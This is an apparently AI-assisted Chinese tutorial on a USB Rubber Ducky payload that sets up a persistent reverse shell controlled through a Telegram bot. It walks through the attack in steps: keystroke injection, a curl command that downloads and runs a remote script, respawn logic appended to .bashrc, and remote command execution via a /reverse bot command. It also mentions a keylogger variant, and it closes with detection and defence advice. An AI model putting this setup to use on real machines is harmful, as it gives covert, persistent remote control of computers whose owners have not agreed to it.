☰
如何用Telegram构建持久化反向Shell:USB Rubber Ducky持久Payload完整指南
2026/10/7 8:06:22 网站建设 项目流程

如何用Telegram构建持久化反向Shell:USB Rubber Ducky持久Payload完整指南

【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads

🦆USB Rubber Ducky是 Hak5 官方_payloads 仓库(usbrubberducky-payloads)中收录的经典键击注入设备,本仓库是它的官方 Payload 仓库,汇集了数百个社区开发的 DuckyScript 脚本。本文将聚焦其中一套基于 Telegram 的持久化反弹 Shell方案,带你从零理解这套"插入即接管、重连仍在线"的远程 Payload 是如何工作的,并掌握它的搭建、验证与防御思路——即使你是安全新手也能看懂。

⚠️ 本文内容仅用于安全学习与授权测试环境,请勿对未授权设备使用。

一、为什么选择 Telegram 作为持久化通道?

传统的反弹 Shell 依赖"攻击者固定 IP + 监听端口",一旦网络变化就断开。而这套 Payload 用Telegram Bot作为中转,带来三个优势:

  • 📱无需公网 IP:Bot 采用主动轮询(long polling)方式连接 Telegram 服务器,出站流量即可,能轻松穿透大多数 NAT;
  • 🔁持久化:脚本在目标机器的.bashrc中写入自启动逻辑,用户每次打开终端都会自动拉起连接,无需 sudo 权限;
  • ✂️自动分片:Telegram 单条消息有长度限制,脚本会把命令输出按 1000 字符一块自动拆分发送,理论上可以回传任意长的结果。

整套 Payload 位于仓库的execution(执行)分类下,核心文件如下:

  • 主 Payload:payload.txt
  • 通信脚本:connection.py
  • 说明文档:README.md

二、持久化反弹Shell的工作原理

1. 注入阶段(DuckyScript 负责)

插入 USB Rubber Ducky 后,payload.txt 会依次执行三步:

  1. CTRL-ALT t打开 Linux 终端;
  2. 用curl -o connection.py <链接>从你自己的文件托管地址下载通信脚本并立即运行;
  3. 向.bashrc追加一段守护逻辑:如果检测不到connection.py进程,就在后台重新拉起它,实现"半持久化"(用户每次打开终端都能恢复连接)。

2. 通信阶段(Python 脚本负责)

connection.py 基于pyTelegramBot库,注册了一个/reverse命令。你在 Telegram 里发送:

/reverse <shell_command>

脚本会通过extract_command()拆出命令,交给run_command()在目标机器上执行,再把输出发回你的聊天窗口。整个过程就像在"对着目标机器发微信"。

三、手把手搭建:Telegram持久化Payload搭建步骤

步骤 1:创建 Telegram Bot

  1. 在 Telegram 中搜索@botfather,点击 Start;
  2. 发送/newbot,按提示设置机器人名和用户名;
  3. 复制注册成功后返回的Bot Token(这是你唯一的"钥匙",切勿泄露)。

官方搭建流程也写在了基础版 Payload 的 README.md 中。

步骤 2:部署通信脚本

  1. 把 connection.py 中的BOT_TOKEN变量填入你的 Bot Token;
  2. 将脚本上传到任意可匿名下载的位置(对象存储、网盘直链等);
  3. 把下载链接填入 payload.txt 顶部的DEFINE #PYTHON-SCRIPT-LINK变量处(替换默认的 example.com 占位链接)。

步骤 3:编译并写入 Ducky

用 Hak5 的PayloadStudio打开 payload.txt,编译生成inject.bin后写入设备存储。编译界面如下:

💡 小提示:仓库中的payload.txt是源码,USB Rubber Ducky 实际运行的是编译后的inject.bin,不要直接把 txt 文件拷进设备就指望它生效。

步骤 4:验证连接

在自己的测试机上插入 Ducky,等它执行完毕后打开终端,确认connection.py正在运行。此时回到 Telegram 给 Bot 发送/reverse whoami,收到系统用户名的回复即代表持久化反弹 Shell 已打通:

四、延伸阅读:同一套思路的三个变体

作者基于 Telegram Persistent Connection 基础 Payload 派生出一系列变体,值得对比学习:

Payload位置功能
Telegram 持久连接payload.txt基础版,仅维持长连接,是其他 Payload 的参考模板
持久化反向 Shellpayload.txt本文主角,/reverse远程执行命令
持久化键盘记录payload.txt多线程键盘监听 + 定期回传日志,还演示了用锁机制防止多线程数据竞争

这种"一个基础连接 Payload + 多个业务脚本"的设计,正是学习 DuckyScript 扩展开发的好范例。

五、防御视角:如何发现与阻断这类持久Payload

如果你负责防守,记住三个关键点:

  1. 审计.bashrc/.profile:任何"进程不存在就自动拉起"的语句都是持久化脚本的典型特征,pgrep -f+ 后台符&的组合尤其可疑;
  2. 关注陌生 Python 进程:名为connection.py之类、持续发起 Telegram API 出站连接的进程应纳入 EDR 告警;
  3. 物理入口管控:USB Rubber Ducky 以标准 HID 键盘身份被系统无条件信任,开启 USB 端口白名单、禁止非授权外设接入是根本手段。

六、总结

这套基于 Telegram 的持久化反弹 Shell用不到 30 行 Python + 十几行 DuckyScript,就实现了"免公网 IP、免 sudo、终端重连自动恢复"的远程控制通道,是理解 USB HID 攻击 + 持久化机制的绝佳教学案例。建议在学习路径上按"基础连接 → 反向 Shell → 键盘记录"的顺序通读 execution 目录 下这三个 Payload,把"注入—下载—持久化—通信"四个环节彻底吃透。

【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询